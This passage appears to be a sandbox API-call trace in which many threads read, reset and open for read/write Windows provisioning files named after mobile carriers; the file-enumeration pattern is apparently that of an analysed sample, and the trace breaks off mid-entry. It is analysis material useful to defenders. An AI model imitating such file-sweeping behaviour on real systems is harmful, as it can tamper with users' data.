RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe19a0) returned 1 [0180.571] RtlExitUserThread (Status=0x0) Thread: id = 3007 os_tid = 0x1198 [0180.572] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.574] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\422__connections_cellular_tele2 (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.574] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\422__Connections_Cellular_Tele2 (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.574] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03278) returned 1 [0180.574] RtlExitUserThread (Status=0x0) Thread: id = 3008 os_tid = 0x119c [0180.685] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20 [0180.686] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.686] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\423__connections_cellular_telenor (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.686] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\423__Connections_Cellular_Telenor (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0180.686] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f914d8) returned 1 [0180.686] RtlExitUserThread (Status=0x0) Thread: id = 3010 os_tid = 0x11a8 [0180.813] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.000] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.001] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\424__connections_cellular_telia (sweden)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.297] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\424__Connections_Cellular_Telia (Sweden)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.297] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02838) returned 1 [0181.297] RtlExitUserThread (Status=0x0) Thread: id = 3011 os_tid = 0x11b0 [0180.813] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.493] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.493] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\425__connections_cellular_orange (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.493] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\425__Connections_Cellular_Orange (Switzerland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.493] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ff58) returned 1 [0181.494] RtlExitUserThread (Status=0x0) Thread: id = 3012 os_tid = 0x11b8 [0180.814] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.494] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.495] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\426__connections_cellular_orange (switzerland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.495] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\426__Connections_Cellular_Orange (Switzerland)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.495] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f914d8) returned 1 [0181.495] RtlExitUserThread (Status=0x0) Thread: id = 3013 os_tid = 0x11c0 [0180.814] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.496] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.496] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\427__connections_cellular_sunrise (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.496] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\427__Connections_Cellular_Sunrise (Switzerland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.496] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f904b8) returned 1 [0181.496] RtlExitUserThread (Status=0x0) Thread: id = 3014 os_tid = 0xab8 [0180.815] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.497] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.497] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\428__connections_cellular_swisscom (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.497] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\428__Connections_Cellular_Swisscom (Switzerland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90610) returned 1 [0181.497] RtlExitUserThread (Status=0x0) Thread: id = 3015 os_tid = 0xd40 [0180.815] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.498] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.498] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\429__connections_cellular_tele2 (switzerland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.498] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\429__Connections_Cellular_Tele2 (Switzerland)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.498] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f910d0) returned 1 [0181.499] RtlExitUserThread (Status=0x0) Thread: id = 3016 os_tid = 0xd44 [0180.815] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml")) returned 0x20 [0181.499] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.499] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\42__connections_cellular_velcom (belarus)_i3$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.500] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\42__Connections_Cellular_VELCOM (Belarus)_i3$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.500] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02318) returned 1 [0181.500] RtlExitUserThread (Status=0x0) Thread: id = 3017 os_tid = 0xd5c [0180.816] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.501] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.501] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\430__connections_cellular_mtn (syria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.501] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\430__Connections_Cellular_MTN (Syria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.501] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0181.501] RtlExitUserThread (Status=0x0) Thread: id = 3018 os_tid = 0xe4c [0180.816] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.502] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.502] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\431__connections_cellular_syriatel (syria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.502] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\431__Connections_Cellular_SyriaTel (Syria)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.502] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91630) returned 1 [0181.502] RtlExitUserThread (Status=0x0) Thread: id = 3019 os_tid = 0xd6c [0180.817] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.503] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.503] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\432__connections_cellular_chunghwa (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.503] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\432__Connections_Cellular_Chunghwa (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.503] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90b70) returned 1 [0181.503] RtlExitUserThread (Status=0x0) Thread: id = 3020 os_tid = 0xd88 [0180.817] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20 [0181.520] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.520] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\433__connections_cellular_chunghwa (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.521] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\433__Connections_Cellular_Chunghwa (Taiwan)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90cc8) returned 1 [0181.521] RtlExitUserThread (Status=0x0) Thread: id = 3021 os_tid = 0x9e4 [0180.817] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\434__connections_cellular_mobitai (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.521] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.522] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\434__connections_cellular_mobitai (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.522] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\434__Connections_Cellular_MoBiTai (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f918e0) returned 1 [0181.522] RtlExitUserThread (Status=0x0) Thread: id = 3022 os_tid = 0xe20 [0180.818] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\435__connections_cellular_taiwan mobile (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0181.523] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.523] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\435__connections_cellular_taiwan mobile (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.523] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\435__Connections_Cellular_Taiwan Mobile (Taiwan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0181.523] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fb50) returned 1 [0181.523] RtlExitUserThread (Status=0x0) Thread: id = 3023 os_tid = 0xf88 [0180.818] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\436__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0181.524] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\436__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0181.524] CreateFileW 